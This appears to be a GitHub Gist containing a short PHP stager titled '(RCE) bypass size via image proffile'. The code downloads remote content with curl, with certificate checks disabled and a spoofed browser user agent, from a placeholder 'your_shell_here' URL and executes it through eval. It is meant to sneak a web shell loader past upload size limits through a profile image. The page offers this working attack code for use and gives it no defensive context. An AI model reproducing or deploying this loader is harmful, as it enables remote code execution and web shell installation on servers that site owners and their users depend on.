Skip to content

Instantly share code, notes, and snippets.

@devhug
Created August 7, 2021 18:07
Show Gist options
  • Save devhug/29d251a5855730c7d5283535d8145e1d to your computer and use it in GitHub Desktop.
Save devhug/29d251a5855730c7d5283535d8145e1d to your computer and use it in GitHub Desktop.
(RCE) bypass size via image proffile
<?php
function get_contents($url){
$ch = curl_init("$url");
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0(Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,$GLOBALS['coki']);
curl_setopt($ch, CURLOPT_COOKIEFILE,$GLOBALS['coki']);
$result = curl_exec($ch);
return $result;
}
$a = get_contents('your_shell_here');
eval('?>'.$a);
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment